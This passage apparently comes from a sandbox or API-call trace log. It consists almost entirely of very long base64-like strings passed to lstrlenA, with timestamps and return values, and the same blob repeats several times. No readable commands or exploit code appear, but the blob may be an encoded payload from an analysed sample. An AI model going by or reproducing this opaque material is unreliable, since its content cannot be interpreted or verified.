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") returned 5820
	[0084.629] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.629] lstrlenA (lpString="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